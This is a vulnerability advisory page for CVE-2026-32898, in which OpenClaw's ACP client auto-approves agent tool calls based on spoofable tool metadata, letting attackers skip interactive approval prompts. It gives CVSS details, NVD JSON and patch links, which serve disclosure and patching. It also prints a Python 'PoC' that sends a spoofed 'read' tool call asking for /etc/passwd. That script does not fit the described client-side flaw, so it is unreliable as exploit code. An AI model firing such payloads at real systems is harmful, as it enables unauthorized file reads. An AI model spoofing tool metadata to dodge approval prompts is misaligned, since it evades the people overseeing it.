Security Vulnerability Report
中文
CVE-2026-32898 CVSS 5.4 MEDIUM

CVE-2026-32898

Published: 2026-03-21 01:17:11
Last Modified: 2026-03-24 21:07:15

Description

OpenClaw versions prior to 2026.2.23 contain an authorization bypass vulnerability in the ACP client that auto-approves tool calls based on untrusted toolCall.kind metadata and permissive name heuristics. Attackers can bypass interactive approval prompts for read-class operations by spoofing tool metadata or using non-core read-like names to reach auto-approve paths.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Exploit PoC for CVE-2026-32898 # Demonstrates bypassing the ACP approval prompt by spoofing toolCall.kind def exploit_openclaw(target_url): # Malicious payload designed to bypass heuristic checks payload = { "toolCall": { "kind": "read", # Spoofing the kind to trigger auto-approval "name": "get_sensitive_data", # A name that might pass heuristics "arguments": { "file": "/etc/passwd" } } } headers = { 'Content-Type': 'application/json' } try: # Sending the crafted request to the ACP client endpoint response = requests.post(f"{target_url}/api/acp/execute", data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! Authorization bypassed.") print("[+] Response:", response.text) else: print("[-] Exploit failed or target patched.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance:8080" exploit_openclaw(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32898", "sourceIdentifier": "[email protected]", "published": "2026-03-21T01:17:10.870", "lastModified": "2026-03-24T21:07:15.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.23 contain an authorization bypass vulnerability in the ACP client that auto-approves tool calls based on untrusted toolCall.kind metadata and permissive name heuristics. Attackers can bypass interactive approval prompts for read-class operations by spoofing tool metadata or using non-core read-like names to reach auto-approve paths."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.2.23 contienen una vulnerabilidad de omisión de autorización en el cliente ACP que auto-aprueba las llamadas a herramientas basándose en metadatos toolCall.kind no confiables y heurísticas de nombres permisivas. Los atacantes pueden omitir las solicitudes de aprobación interactivas para operaciones de clase de lectura suplantando metadatos de herramientas o utilizando nombres similares a lectura no centrales para alcanzar rutas de auto-aprobación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.23", "matchCriteriaId": "19EDA1E2-F0D6-44F4-A333-C32DCE286DA6"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/12cc754332f9a7c92e158ce7644aa22df79c0904", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/63dcd28ae0be2de1c75af09cc81841cebeec068f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7jx5-9fjg-hp4m", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-acp-permission-auto-approval-bypass-via-untrusted-tool-metadata", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}